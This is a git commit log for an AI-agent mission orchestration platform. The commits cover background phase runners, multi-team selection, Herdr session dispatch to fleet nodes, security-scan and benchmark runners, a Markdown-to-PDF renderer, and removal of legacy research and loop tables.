- provider API keys forwarded from the server envs so per-mission
  runtimes inherit them.
- Mission struct + repo helpers updated for the two new columns +
  set_runtime_binding().
- Unit tests cover container naming determinism + entropy.

Not wired to the orchestrator yet — that lands in slice 2.
2026-07-21 22:17:41 -07:00
Omar Sobh e2956cdfed missions: surface run output on terminal phase runs
ci / gates (push) Successful in 7s
ci / rust (push) Failing after 10s
ci / frontend (push) Successful in 25s
ci / e2e (push) Skipped
ci / publish (push) Skipped
Adds GET /api/topology-runs/{id}/output — trimmed view of the
runs checkpoint (totals + per-turn output previews, capped at
12 turns × 6kB each). The full checkpoint blob can be hundreds
of KB so it was never viable to send through mission polling.

Phase card run rows now expose a "show output" toggle for any
terminal run (completed/failed/cancelled), rendering turns,
tokens, records count, and per-turn agent text. Running rows
still get the live activity stream from the prior slice.

Diagnostic value: on a mission that "completed" without visible
work, this immediately shows whether the agents produced real
output (workspace missing / instructions vague / etc.) or
whether nothing ran at all.
2026-07-21 15:26:26 -07:00
Omar Sobh 94fecb526c missions: retry failed phases + auto-purge on re-launch
ci / gates (push) Successful in 5s
ci / rust (push) Successful in 4m30s
ci / e2e (push) Skipped
ci / frontend (push) Successful in 26s
ci / publish (push) Successful in 2m40s
Every re-attempted phase now starts with a clean slate:

  - phase_runner::launch_phase DELETEs prior status IN ('failed',
    'cancelled') topology_runs for the phase before enqueuing the
    new ones. Completed runs are kept for audit; only the failure
    noise from earlier attempts goes.
  - POST /api/missions/{id}/phases/{phase_id}/retry — resets a
    failed/cancelled phase to 'pending' (auth-scoped to the calling
    workspace + guarded on mission.status='running'). phase_runner
    picks it up on the next 10s tick.
  - MissionCanvas phase card grows a coral 'Retry' button, visible
    only when phase.status='failed' and mission.status='running'.
    Click → resets + refreshes; the prior failed run rows disappear
    from the card as soon as phase_runner enqueues the new attempt.

Design: auto-purge in phase_runner rather than a separate 'clear
failed runs' endpoint. Users don't have to manually clean up before
retrying; the runner does it as part of the natural work of firing
a fresh attempt.

Verified: cargo check + tsc + eslint --quiet all green.
2026-07-21 13:14:39 -07:00
Omar Sobh 277189ea9b missions: phase_runner — actually execute mission phases
ci / rust (push) Successful in 3m37s
ci / e2e (push) Skipped
ci / publish (push) Successful in 4m7s
ci / gates (push) Successful in 6s
ci / frontend (push) Successful in 26s
Root-cause fix for "we hit launch, waited overnight, nothing ran."
mission_orchestrator materialized teams + agents fine, but nothing
enqueued the actual work — mission_phases stayed 'pending' forever
and topology_runs count for the mission was 0.

New crates/cm-api/src/phase_runner.rs — background worker on 10s
poll that does three things:

  1. start_pending_phases — for every mission_phase with
     status='pending' AND parent mission.status='running' AND all
     lower-order phases already 'completed', enqueue one
     topology_runs row per team whose (mission_id, purpose) matches
     the phase kind:
       phase=research → teams with purpose='research'
       phase=coding   → teams with purpose='coding'
       phase=benchmark → teams with purpose='coding' (fallback)
       phase=security_scan → teams with purpose 'security' | 'coding'
     Each run gets a phase-kind-specific task text combining the
     mission title/description + a directive for that phase.
     Flips phase to 'running' after enqueue.
  2. close_finished_phases — SQL sweep that flips phases whose
     topology_runs are all terminal to 'completed' (or 'failed' if
     any run failed).
  3. close_finished_missions — same shape for missions whose phases
     are all terminal.

Spawned alongside task_card_worker in clawmates-server main.rs.

Ordering enforced by mission_phases.order_idx — a coding phase
doesn't fire until its research phase completes.

Idempotent: every state transition is guarded so double-firing on a
race is safe. When a mission has no matching teams for a phase (bad
wizard state), the phase stays pending and the runner logs a skip
rather than getting stuck in a fail loop.

Existing topology_worker picks up the queued runs and drives them
through the ZeroClaw executor as usual.
2026-07-21 09:17:18 -07:00
Omar Sobh b8b8cb452e missions: multi-team model — pick research + development teams
ci / frontend (push) Successful in 37s
ci / gates (push) Successful in 5s
ci / rust (push) Failing after 1m41s
ci / e2e (push) Skipped
ci / publish (push) Skipped
Directly addresses "we want to pick one or more teams to assign to a
mission, first screen research teams, next screen dev teams." A
mission now materializes N teams, each tagged with a phase purpose.

Backend:
  - 0056_mission_teams.sql — new join table
    mission_teams(mission_id, team_id, purpose). team_id PK because a
    team belongs to one mission-purpose. missions.team_id kept as
    legacy pointer to the first minted team for single-team surfaces.
  - mission_orchestrator::on_launch — reads mission.config.phase_teams
    (JSONB shape { research: [tid,...], coding: [tid,...] }), mints
    one team per (purpose, template) pair, records each in
    mission_teams, binds the first to mission.team_id. Legacy fallback:
    if config.phase_teams is absent, uses missions.team_template_id.
    Hard error if both are absent.
  - GET /api/missions/{id}/teams — returns
    [{ team_id, purpose, team_name }], sorted by created_at asc.

Frontend wizard (step 3 rewrite):
  - researchTeamIds / devTeamIds — Set<string> multi-selects
  - Reusable TeamMultiSelect component (checkbox-style cards)
  - Panels rendered conditionally by preset:
    hasResearchPhase → "Research teams" panel
    hasCodingPhase → "Development teams" panel
    neither → "Teams" panel (bench/security-only missions)
  - canNext enforces at least one pick in every visible panel
  - submit builds config.phase_teams and passes it via CreateMissionRequest
  - Review step shows both selections by name

MissionTeamTab:
  - Fetches /api/missions/{id}/teams and groups by purpose
  - Each purpose renders a section with per-team cards
  - Falls back to a single "mission" pseudo-row for legacy missions
    that only have missions.team_id (no mission_teams rows)

CreateMissionRequest no longer sends team_template_id from the wizard
— the multi-team config.phase_teams path supersedes it. The backend
still accepts team_template_id for API callers.

Verified: cargo check --workspace + tsc + eslint --quiet all green.
2026-07-20 19:25:07 -07:00
Omar Sobh 3ba0485e7d mission progress UI: auto-refresh + Team tab + Live events tab
ci / rust (push) Successful in 2m59s
ci / e2e (push) Skipped
ci / gates (push) Successful in 6s
ci / frontend (push) Successful in 36s
ci / publish (push) Successful in 3m9s
Fills the biggest UX gap surfaced during the deploy walk: hosted
missions had no live-progress surface at all. Now they do.

Auto-refresh:
  - MissionCanvas grows a second useEffect that polls getMission
    every 3s while mission.status === 'running'. Stops immediately
    on terminal state (completed / failed / cancelled). Phases,
    Tasks, Artifacts, Benchmarks all update without a manual click.

Team tab (new):
  - MissionTeamTab.tsx — fetches /api/teams/{id} + /api/team/claws,
    shows a card per member with role slot + an "Open" pill that
    calls onOpenClaw(clawId) → Dashboard flips to AGENT tier with
    that claw selected, dropping the operator into the existing
    ClawCommandCenter surface (WorkingOnNow, ReasoningStream, etc).

Live events tab (new):
  - MissionLiveEvents.tsx — polls /api/missions/{id}/runs every 5s
    for the topology_runs bound to this mission, opens one
    EventSource per active run against /api/topology-runs/{id}/events,
    renders as a chronological scrolling feed with per-event kind
    pills + per-run short-id badges. Auto-scrolls unless the
    operator scrolled up. New runs auto-attach; terminal runs
    close cleanly.

Backend:
  - cm-db::repo::topology_runs::list_by_mission — SELECT ... FROM
    topology_runs WHERE mission_id = $1 ORDER BY created_at DESC.
    Uses runtime sqlx::query (not the macro) to avoid a sqlx cache
    regen just for this route.
  - TopologyRunSummary gains #[derive(Serialize)] + rfc3339 codecs.
  - GET /api/missions/{id}/runs — workspace-scoped, returns
    { runs: [...] }.

Dashboard wires onOpenClaw on MissionCanvas → setAgentId + setTier("claw").

Verified: cargo check --workspace + tsc --noEmit + eslint --quiet
all green.
2026-07-20 15:31:41 -07:00
Omar Sobh d8c8793c4a ci fixes: cargo fmt, eslint entities, max-lines split
ci / gates (push) Successful in 8s
ci / frontend (push) Successful in 26s
ci / rust (push) Successful in 4m25s
ci / e2e (push) Skipped
ci / publish (push) Successful in 2m46s
CI on 6ffbe97 failed on two auto-fixable gates. Both fixed:

  * cargo fmt --all — rustfmt applied across the surface touched
    by the last ~20 commits (world.rs, security_scan.rs,
    routes/{missions,nodes,terminal}.rs, fleet_herdr.rs,
    mission_workspace.rs, benchmark_runner.rs, mission_refiner.rs,
    lib.rs, tests/mission_orchestrator.rs, cm-db/repo/{missions,teams}.rs,
    bins/clawmates-node/src/main.rs)
  * eslint apostrophe escapes in HerdrSessions + MissionWizard
  * eslint max-lines: extracted EditMissionModal + RefineDiffModal
    (each ~200 LoC) into their own files. MissionCanvas drops from
    1424 to 1026, comfortably under both the 1250 eslint cap and the
    1500 CI budget.

New files:
  frontend/src/components/dashboard/EditMissionModal.tsx  (211 LoC)
  frontend/src/components/dashboard/RefineDiffModal.tsx   (208 LoC)

Verified locally: cargo fmt --check clean, cargo check clean,
mission_orchestrator test 3/3 pass, tsc + eslint --quiet both silent.
2026-07-20 12:03:43 -07:00
Omar Sobh bf4af48c80 herdr phase 3: INFRA tier Herdr sessions surface
New INFRA category "Herdr sessions" (purple sparkles icon between
Fleet and Local hardware). Shows a card per online fleet node with:

  - Node name + hostname + IP
  - Per-workspace agent state pills (working / blocked / done /
    idle / unknown), colored dots + pane count
  - "Open" button → renders that node's full Herdr TUI inline via
    xterm.js (same nodeHerdrConnector + WebRTC-with-fallback the
    MissionCanvas Live Pane uses)

Backend:
  - node daemon: herdr_workspaces + herdr_snapshot ops
    (`herdr workspace list`, `herdr api snapshot`)
  - fleet_herdr::snapshot helper on top of hub.call_timeout
  - GET /api/nodes/{id}/herdr/session route

Fetch flow: /api/nodes filtered to status='online' → for each,
/api/nodes/{id}/herdr/session in parallel. Snapshot errors surface
per-card without failing the whole grid.

The "Open" xterm is separate from the MissionCanvas Live Pane —
this one is scoped to the whole node's Herdr TUI (any workspace),
not a specific mission's pane. Operator toggles between nodes via
the buttons.

Verified: cargo check --workspace + tsc --noEmit both green.
2026-07-20 11:30:52 -07:00
Omar Sobh 47f986257f herdr phase 1b: fleet_herdr dispatch module + node daemon ops
The second-runtime path uses the existing NodeHub control channel —
NOT SSH. Node daemons already accept typed ops over their outbound
websocket; adding three herdr_* ops keeps everything on the auth
model that already works fleet-wide (control-channel token, no new
SSH key management, no server-container-mounted keys).

Node daemon (clawmates-node):
  - New herdr_op handler in main.rs dispatching:
    * herdr_dispatch  — workspace create + pane split + rename + run
    * herdr_status    — pane get JSON (agent, agent_status, cwd)
    * herdr_read      — recent-unwrapped scrollback, N lines
  - Herdr binary resolved from ~/.local/bin, brew, /usr/local/bin.
    Missing binary returns clean error so cm-api can distinguish
    "node not set up for Herdr yet" from "Herdr op failed".

cm-api:
  - crates/cm-api/src/fleet_herdr.rs — dispatch / status /
    read_transcript / wait_for_completion helpers on top of
    hub.call_timeout(). wait_for_completion polls until agent_status
    hits 'done' or an idle-after-working state, matching the SKILL
    file's "either idle or done is completed" semantic.
  - routes::missions::herdr_dispatch — POST /api/missions/{id}/
    herdr-dispatch { cli, prompt }. Requires runtime_kind = 'local_herdr'
    and target_node_id set. Manual trigger so Phase 1b is exercisable
    end-to-end before Phase 1c wires the wizard + orchestrator.

Not yet wired: mission_orchestrator::on_launch still ignores
runtime_kind. Phase 1c adds the wizard picker AND the on_launch
branch that auto-dispatches on draft→running for local_herdr
missions. This commit only adds the primitives.

Verified: SQLX_OFFLINE=true cargo check --workspace green.
Phase 0 (Herdr install on fleet nodes) is the blocker to actually
exercising this end-to-end.
2026-07-20 09:49:38 -07:00
Omar Sobh 1f0117e35a mission canvas: add / edit / delete toolbar controls
Top-right toolbar grows three CRUD controls per your request:

  - Plus (always visible) — opens MissionWizard, selects the new
    mission on create
  - Pencil (draft-only) — opens EditMissionModal for title +
    description; PATCHes /api/missions/{id}
  - Trash (always visible) — window.confirm then DELETEs; sidebar
    selection clears via new onDeleted callback

Backend:
  - cm-db::repo::missions::update_meta(id, ws, title?, description?)
    — COALESCE-based partial patch
  - cm-db::repo::missions::delete(id, ws) — hard delete, cascades
    via FKs on phases/tasks/artifacts/benchmark_snapshots
  - PATCH /api/missions/{id} (draft-only) + DELETE /api/missions/{id}

Frontend:
  - lib/api/missions — updateMission + deleteMission clients
  - MissionCanvas — three toolbar buttons, EditMissionModal
    (title + textarea for description), local wizard state
  - Dashboard — passes onSelect + onDeleted so sidebar reacts to
    create + delete without stale selection

Edit is draft-only (backend enforces + button hidden past draft) so
in-flight missions can't have their brief mutated out from under
running agents. Delete is unconditional — operator responsibility to
Cancel first if a run is live.
2026-07-20 08:32:52 -07:00
Omar Sobh 214d0c5e9f task #25: per-mission repo checkout on mission launch
Closes the follow-up gap flagged when task #23 landed. security_scan
and benchmark_runner now exec against $CLAWMATES_MISSIONS_ROOT/
{mission_id}/repo — this commit is what actually puts a repo there.

  - crates/cm-api/src/mission_workspace.rs — new module.
    ensure_checkout(pool, workspace_id, mission_id):
      * mission with no repo_id → Ok(None), no-op
      * repo cloned into $ROOT/{id}/repo (--depth 1)
      * dir already a git repo → fetch + reset --hard origin/{branch}
        (idempotent — every launch brings the tree in sync with the
        remote default_branch)
    Auth uses the process's ambient git credential setup (SSH agent /
    .netrc / helper). Tokens deliberately not embedded in URLs.

  - crates/cm-api/src/mission_orchestrator.rs — on_launch calls
    ensure_checkout after team materialization + team_id bind.
    Non-fatal: clone failures log and continue so research_only
    missions (no repo needed) don't get blocked.

  - deploy/compose/docker-compose.yml — new named volume
    missions_workspaces mounted at /var/lib/clawmates-missions on
    both the server (writer) and where the clawmates-runtime
    container will mount it (reader for docker exec). CLAWMATES_
    MISSIONS_ROOT + CLAWMATES_RUNTIME_CONTAINER env vars set on
    the server so mission_workspace + exec_target read the same
    canonical values.

The scan/bench trigger buttons now actually produce findings once
you (a) run a mission whose repo_id is set, (b) have the
clawmates-runtime container bind-mounting missions_workspaces at
/var/lib/clawmates-missions.

Verified: SQLX_OFFLINE=true cargo check -p cm-api +
cargo test -p cm-api --test mission_orchestrator both green.
2026-07-20 04:04:36 -07:00
Omar Sobh ad1cee0b08 refine polish: before/after diff view + accept/cancel/restore
Refine no longer clobbers the mission description on click. Flow:
  1. Click Refine → server generates the rewrite, returns
     { original, refined } WITHOUT persisting
  2. RefineDiffModal shows a side-by-side pane (raw before,
     Markdown-rendered after)
  3. User picks:
     - Accept → PATCH /api/missions/{id}/description commits refined
     - Cancel → discards the proposal, description unchanged
     - Restore original → forces a write of `original` (undo path
       for accidentally-accepted refines, since Accept+Cancel is
       still a two-step confirmation)

Backend:
  - mission_refiner::refine returns a RefineResult { original, refined }
    struct instead of persisting + returning the text
  - routes::missions::refine now returns { original, refined }
  - routes::missions::set_description added on PATCH
    /api/missions/{id}/description (draft-only)

Frontend:
  - lib/api/missions — refineMission return type is now RefineResult;
    added setMissionDescription
  - MissionCanvas — RefineDiffModal + DiffPane subcomponents;
    accept / cancel / restore handlers wired to state

Closes task #20.
2026-07-19 18:46:14 -07:00
Omar Sobh fdb8cfeecc slice 9 cleanup: drop legacy research/loops backend + tables
Retires the legacy research/loops backend after the missions arc
(slices 1-9) fully replaced it. Frontend cutover was 4663348; this
commit finishes the job on the backend + database.

Migration:
  - 0053_drop_legacy_research_loops.sql — drops the 8 legacy tables
    (research_topics, research_topic_agents, research_outcomes,
    research_publish_approvals, loops, loop_agents, loop_orgs,
    loop_teams) and the 3 topology_runs FK columns
    (research_topic_id, loop_id, iteration). parent_run_id stays;
    recursive_exec still uses it.

Files deleted (11):
  - crates/cm-api/src/routes/{research,loops,research_setup,
    research_pipeline,wizard_repo,probe}.rs
  - crates/cm-api/src/research_container.rs
  - crates/cm-db/src/repo/{research_topics,research_outcomes,
    research_publish_approvals,loops}.rs
  - crates/cm-runtime/src/loops.rs
  - crates/cm-api/tests/research_publish_role.rs

Files edited:
  - crates/cm-api/src/lib.rs — dropped 20 legacy route registrations
    (all /api/research/* + /api/loops/* + /webhooks/loops + probe)
    and module decls
  - crates/cm-api/src/topology_worker.rs — deleted legacy dispatch
    (freeze_research_outcome, advance_loop_after_completion,
    continue_initial_burst, maybe_transition_research_topic,
    parse_reorder_rationale, per-topic/loop gateway resolver).
    reap_stuck_runs now keys on mission_id (not topic_id).
    Executor path unconditionally uses ZeroClawDriveExecutor::from_env
    — mission_orchestrator provisions each claw as an agent inside
    the shared runtime via RuntimeProvisioner, so per-team gateway
    resolution is no longer applicable.
  - crates/cm-api/src/routes/topology.rs — deleted container-log SSE
    endpoint (research/loop-specific), dropped loop_id filter and
    iteration field from ListRunsQuery/RunSummary
  - crates/cm-api/src/routes/world.rs — removed
    active_research_topics/active_loops/preseed_repo_paths;
    World SSE no longer emits repo:{topic}/loop:{id} landmark orbs
    (follow-up task #21 tracks adding mission:{id} equivalents)
  - crates/cm-api/src/runtime_provision.rs — removed now-unused
    mint_workspace_service_token
  - crates/cm-db/src/repo/topology_runs.rs — removed 9 legacy
    helpers (research_topic_id lookup, loop_id_for_run,
    iteration_for_run, active_runs_for_research_topic, etc.)
  - crates/cm-db/src/repo/teams.rs — removed 4 dead helpers
    (team_for_loop, team_for_research_topic + setters)
  - crates/cm-api/tests/topology_jobs.rs — removed loop/topic
    tests, dropped enqueue_run_with_topic helper
  - crates/bins/clawmates-server/src/main.rs — removed
    spawn_loop_scheduler call
  - crates/cm-api/src/routes/mod.rs, crates/cm-db/src/repo/mod.rs,
    crates/cm-runtime/src/lib.rs — module decls stripped

sqlx cache: regenerated against post-migration schema
  (71 files changed, ~+70 / -8896 net)

Test/build: SQLX_OFFLINE=true cargo check --workspace clean;
cargo test --workspace --no-run clean.

Follow-up (task #21): World view lost the in-flight-work landmarks
when repo:{topic} / loop:{id} orbs disappeared. Add mission:{id}
orbs as the missions-era replacement.
2026-07-19 18:37:24 -07:00
Omar Sobh 56201a6985 mission canvas: add Refine button + markdown-rendered description
Adds a Refine button to the left of Refresh + Launch on the mission
detail toolbar (draft-only). Clicking it POSTs to a new endpoint that
calls Gemini 2.5 Flash to rewrite the user's freeform description into
a coherent, sectioned Markdown brief (Objective / Context / Scope /
Constraints / Acceptance Criteria / Open Questions) ready for the
research + coding agents to ingest cleanly.

Backend:
  - crates/cm-api/src/mission_refiner.rs — Gemini call with a
    system prompt that preserves user-provided facts, avoids
    invention, and emits raw markdown (not JSON).
  - POST /api/missions/{id}/refine — draft-only, 400 on empty
    description or non-draft state.
  - cm-db::repo::missions::set_description helper.

Frontend:
  - MarkdownBlock — tiny zero-dep renderer for h1/h2/h3, bullet +
    numbered lists, **bold**, `code`, paragraphs. Deliberately
    small; the refiner emits a bounded subset.
  - MissionCanvas — Refine button (Sparkles icon, secondary style)
    to the left of Refresh; description now renders through
    MarkdownBlock instead of a single <p>. Disabled while
    description is empty or a refine is in flight.
  - lib/api/missions — refineMission client.
2026-07-19 17:20:34 -07:00
Omar SobhandClaude Opus 4.7 9b5e63cbb7 slice 8.5: per-agent + per-team level-up endpoints
ci / gates (push) Successful in 4s
ci / frontend (push) Successful in 40s
ci / rust (push) Successful in 3m30s
ci / e2e (push) Skipped
ci / publish (push) Successful in 2m30s
Level-up analyzes an agent's brain + recent run outcomes (or a
whole team's aggregate state), calls Gemini 2.5 Flash for structured
JSON proposals, and persists them as pending level_up_proposals
rows. Reviewer approves a subset via /apply; the applier commits
only those items.

Migration 0052 adds level_up_proposals (id, workspace_id, agent_id
XOR team_id via CHECK constraint, status, payload JSONB,
applied_items[], model, created_by, approved_by, created_at,
applied_at) + workspace/pending/agent/team indexes.

Rust surface:
  - cm_db::repo::level_up::{insert, get, list_pending, mark_applied,
    mark_rejected}
  - cm_api::level_up::{propose_agent, propose_team, apply}
    Item kinds handled by apply():
      identity_refinement    → UPDATE agents.system_prompt
      skill_add              → agent_skills_ext INSERT
      skill_candidate        → workspace-scoped skills INSERT
                              (deterministic id per (workspace, name))
      brain_consolidation    → set_agent_md on the brain (unlike
                              brain_seed::ingest, this overwrites)
      roster_change / mcp_bundle_change — logged as
                              "not auto-applied, human runs
                              team-wizard" (structural changes need
                              human review of side effects).

API:
  - POST /api/claws/{id}/level-up   → { proposal_id }
  - POST /api/teams/{id}/level-up   → { proposal_id }
  - GET  /api/level-up-proposals    → pending list
  - GET  /api/level-up-proposals/{id}
  - POST /api/level-up-proposals/{id}/apply  { approved_item_ids }
  - POST /api/level-up-proposals/{id}/reject

Uses Gemini 2.5 Flash with response_mime_type: "application/json"
so the model returns structured JSON directly (no ```json fence
stripping needed). Configurable via CLAWMATES_LEVEL_UP_MODEL.

Follow-ups:
  - Frontend diff-review UI (pick items, approve/reject)
  - roster_change / mcp_bundle_change appliers (currently manual)
  - Anthropic + OpenAI proposer variants
  - Promote workspace-scoped skills to builtin via a curator flow

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 16:36:29 -07:00
Omar SobhandClaude Opus 4.7 58963d5083 slice 8: security scan runner + trigger endpoint
ci / frontend (push) Successful in 27s
ci / rust (push) Successful in 4m28s
ci / e2e (push) Skipped
ci / publish (push) Successful in 2m47s
ci / gates (push) Successful in 3s
Runs the security template's tool set (cargo-audit / gitleaks /
trivy fs / semgrep) inside the mission's team container and
materializes each finding as a mission_task keyed on the tool's
canonical id. The subsequent coding phase picks up the tasks and
applies remediations; the committer closes them by emitting
`COMPLETED: <external_id>` (Slice 5's task-card parser handles it).

Rust surface:
  - cm_api::security_scan::run(mission_id, phase_id)
  - Per-tool runners with JSON output parsing:
      cargo audit --json          → vulnerabilities[].advisory.id
      gitleaks detect --report-format=json → [{ Fingerprint, RuleID }]
      trivy fs --format=json      → Results[].Vulnerabilities[].VulnerabilityID
      semgrep --config=auto --json → results[] w/ rule+path+line fingerprint
  - Tool errors surface as a `warning` task instead of failing the
    scan — operator sees which need installing/fixing without a
    silent no-op.
  - Findings map to mission_tasks with external_id = "<tool>:<id>"
    (e.g. cargo_audit:RUSTSEC-2024-0001, gitleaks:<sha>,
    trivy_fs:CVE-2024-1234, semgrep:<rule>@<file>:<line>).

API:
  - POST /api/missions/{id}/security-scan { phase_id }
    → { findings, tasks[] } — full task list after upsert so the
    canvas can render immediately.

Frontend:
  - triggerSecurityScan helper in lib/api/missions.ts. Findings
    show up in the existing Tasks tab (Slice 5's UPSERT path).

Container requirements (opt-in):
  - Runs inside the team container via `docker exec`, so the tools
    must be present in that image. Missing = warning task, not fail.
  - `-w /workspace/repo` so scanners see the mounted repo. Reads
    teams.zeroclaw_container (populated on first phase run).

Follow-ups:
  - MCP bundle wrapping the same tools as agent-callable functions
    (currently agents scan by shelling out to `cargo audit` etc.
    directly; a typed MCP wrap lands with clean audit trail).
  - Auto-fire from the security_hardening workflow template on
    phase transition (currently manual via API trigger).
  - Bundle the four tools into the runtime image (or a dedicated
    security-tools image) so operators don't have to install them.

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 16:19:29 -07:00
Omar SobhandClaude Opus 4.7 f843c9ddb1 slice 7: before/after benchmark runner
ci / frontend (push) Successful in 26s
ci / publish (push) Successful in 4m52s
ci / gates (push) Successful in 4s
ci / rust (push) Successful in 4m19s
ci / e2e (push) Skipped
Executes a benchmark harness inside the mission's team container
and records the resulting metrics as a benchmark_snapshots row keyed
on (phase_id, iteration). Baseline pass (iteration=0) captures
before_metrics; each post-iteration call captures after_metrics +
computes delta vs baseline.

Rust surface:
  - cm_db::repo::missions::upsert_benchmark_snapshot / benchmark_snapshots_for
  - cm_api::benchmark_runner::{baseline, after_iteration, run}
  - Harness enum: Auto | Criterion | CargoBench | VitestBench |
    PytestBench | Shell (each with a command() vector)
  - Auto detection peeks at the repo layout inside the container
    (Cargo.toml → CargoBench, package.json → VitestBench, pyproject
    → PytestBench). Falls back to a Shell echo when nothing
    identifiable.
  - Bencher-format line parser extracts (name, ns_per_iter,
    plusminus) so criterion + `cargo bench` output become structured
    samples the canvas can diff.
  - compute_delta pairs samples by name, emits {before_ns, after_ns,
    delta_pct, direction: improved|regressed}.

API:
  - POST /api/missions/{id}/benchmark { phase_id, slot, iteration? }
    triggers baseline or after run and returns the mission's full
    snapshot list.
  - GET /api/missions/{id} now includes `benchmarks[]` in the detail
    payload.

Frontend:
  - New Benchmarks tab on MissionCanvas with iteration + driver
    header, plus a 4-column grid (bench / before / after / Δ%) when
    delta samples are present. Improved deltas render green,
    regressions red.
  - TS types + triggerBenchmark() helper in lib/api/missions.ts.

Wiring notes:
  - team_container_for_mission reads teams.zeroclaw_container — that's
    populated by topology_worker::try_team_gateway_url on first run,
    so trigger baseline AFTER the mission's first phase spawns the
    container.
  - Not auto-fired yet by phase execution; that's the "template phase
    executor" work that spans Slices 4-8. Manual API trigger works
    today; automated hook is a follow-up.

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 15:32:47 -07:00
Omar SobhandClaude Opus 4.7 3ac3d53da7 slice 6: LLM + Chromium PDF renderer worker
ci / gates (push) Successful in 6s
ci / frontend (push) Successful in 38s
ci / rust (push) Successful in 3m28s
ci / e2e (push) Skipped
ci / publish (push) Successful in 3m4s
Watches mission_artifacts for MD entries with render_pdf_status='pending'
and turns them into styled PDFs via:
  1. Read source MD from <mission_root>/<path>
  2. Call configured LLM (default gemini-2.5-flash) with a document-
     typesetter system prompt that constrains style to a self-contained
     HTML doc with inline CSS + our color palette
  3. Print to PDF via `chromium --headless=new --print-to-pdf`
  4. Save alongside source MD (foo.md → foo.pdf) + update
     mission_artifacts.rendered_pdf_path + render_pdf_status='done'

Graceful degradation: GEMINI_API_KEY unset OR chromium missing =
row marked failed with a descriptive error, worker keeps ticking.
The frontend's "Open PDF" affordance (Slice 2) light up automatically
when render succeeds.

Boot ordering: PDF worker spawns after task_card_worker. Poll every
30s over up to MAX_PARALLEL=2 rows at a time — respects LLM rate
limits and keeps chromium's peak RAM under control.

Env knobs:
  GEMINI_API_KEY                    — required for LLM step
  CLAWMATES_PDF_RENDERER_MODEL      — model id, default gemini-2.5-flash
  CHROMIUM_BIN                      — chromium binary, default `chromium`
  CLAWMATES_MISSIONS_ROOT           — artifact dir root, default /var/lib/clawmates-missions

Dockerfile now installs chromium + fonts-liberation and sets
CHROMIUM_BIN=/usr/bin/chromium so the container image has everything
the renderer needs.

Also bumps workspace tokio deps to include the `process` feature
(required for tokio::process::Command).

Follow-ups:
  - Anthropic + OpenAI provider variants (only Gemini in this slice)
  - SSE stream on /api/missions/{id}/artifacts for the "PDF ready"
    notification instead of poll-via-mission-GET
  - Per-template PDF style overrides (currently one house style
    for all missions)

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 15:16:57 -07:00
Omar SobhandClaude Opus 4.7 f40ec075a5 slice 5: task-card parser + background worker
ci / frontend (push) Successful in 25s
ci / rust (push) Successful in 4m26s
ci / e2e (push) Skipped
ci / gates (push) Successful in 6s
ci / publish (push) Successful in 2m42s
Watches topology_runs' event stream for the INT-XX marker protocol
(see skills/foundation/int-xx-marker-protocol.md) and materializes
mission_tasks rows with typed status so the canvas Tasks tab renders
a live timeline instead of raw agent chatter.

Migration 0051 adds mission_id + mission_phase_id columns to
topology_runs (nullable) so runs enqueued by a mission phase can be
attributed. Populated by future phase executors; NULL for legacy
research/loops runs (parser skips them cleanly).

New Rust surface:
  - task_card_parser::parse(text) — line-scanner over TASK/WORK/
    HANDOFF/TEST_PASS/TEST_FAIL/REVIEW_APPROVE/REVIEW_BLOCK/COMPLETED
    markers. Strict: exact kind + colon + INT- prefix, no in-prose
    matches, no bold/code-fence wrappers.
  - task_card_parser::apply_for_run(pool, run_id) — reads the run's
    mission binding, walks its event payloads, extracts text/output/
    content/message string fields (matching every ZeroClaw event
    shape we see), parses markers, UPSERTs mission_tasks via the
    (phase_id, external_id) unique key from Slice 1.
  - task_card_worker::spawn — 15s poller over runs updated in the
    last 5 minutes. Idempotent + generous window survives server
    restarts + task-scheduling jitter.

Boot wires the worker after the content loaders. Silent no-op when
mission wiring isn't populated yet.

MarkerKind → status mapping (monotonic-forward):
  TASK           → created
  WORK           → working
  HANDOFF        → validating
  TEST_PASS      → validating
  TEST_FAIL      → failed
  REVIEW_APPROVE → validating
  REVIEW_BLOCK   → failed
  COMPLETED      → complete

Follow-ups:
  - Wire phase executor to populate topology_runs.mission_id +
    mission_phase_id (Slice 6/7/8 work)
  - Assign assigned_agent_id via the event's producing agent alias
    (currently always None)
  - SSE stream on /api/missions/{id}/tasks for live canvas updates
    (currently the canvas polls via mission GET)

Co-Authored-By: Claude Opus 4.7 <[email protected]>
2026-07-19 15:04:57 -07:00
Omar SobhandClaude Opus 4.7 565f6cae65 slice 4: 5 workflow templates as TOML recipes + mission-launch orchestrator
ci / gates (push) Successful in 4s
ci / frontend (push) Successful in 26s
ci / rust (push) Successful in 4m20s
ci / e2e (push) Skipped
ci / publish (push) Successful in 3m50s
Two things land together:

1. Ships the 5 workflow recipes as TOML files under
   templates/workflows/*.toml:
     - research_only          (hub_spoke research → MD + PDF)
     - research_and_code      (research → coding loop until INT-XX drained)
     - security_hardening     (scan → research patches → coding with
                               reviewer approval + full MCP bundle)
     - refactor               (single-pass coding with dep audit
                               preamble + before/after benchmarks)
     - benchmark              (author + baseline benchmarks per stack)
   Each declares phases[], per-phase config, default_team_template.
   Loaded read-only into an in-memory registry (workflow_registry)
   via OnceLock — no DB row per recipe.

2. Ships the mission-launch orchestrator that closes the loop from
   Slice 3.5d's mechanics. When a mission transitions draft→running,
   `mission_orchestrator::on_launch`:
     - Reads mission.team_template_id (skips if unset)
     - Loads the team template detail (roles + skills bindings)
     - Builds a topology graph from role slots via cm_topology::build
     - Inserts the teams row + stamps template_id/version/risk_profile/mcp_bundles
     - For each role: agent insert, model binding, runtime provision
       (opt-in via RuntimeProvisioner::from_env), brain_seed::ingest
       (Slice 3.5d), agent_template_link::upsert (Slice 3.5d),
       team_members bind, audit trail
     - UPDATE missions SET team_id = ...
   Wired into routes::missions::set_status when prior.status='draft'
   and new='running'. Failures log + are non-fatal (mission still
   flips to running so the user can inspect + retry).

With this, Slice 3.5d's brain-seed + link machinery actually gets
populated, and the MCP skills server's template-defaults-merge path
(Slice 3.5b/d) starts serving real bindings to real agents.

Follow-ups (Slice 5-8):
  - Task-card parser watches run events for TASK/COMPLETED markers
    → mission_tasks rows
  - PDF renderer worker turns MD artifacts into PDFs
  - Before/after benchmark runner honors phases[].config.benchmark
  - Security scan MCP bundle exposes cargo-audit/gitleaks/trivy/semgrep
  - Level-up endpoints diff learned-vs-seeded via agent_template_link

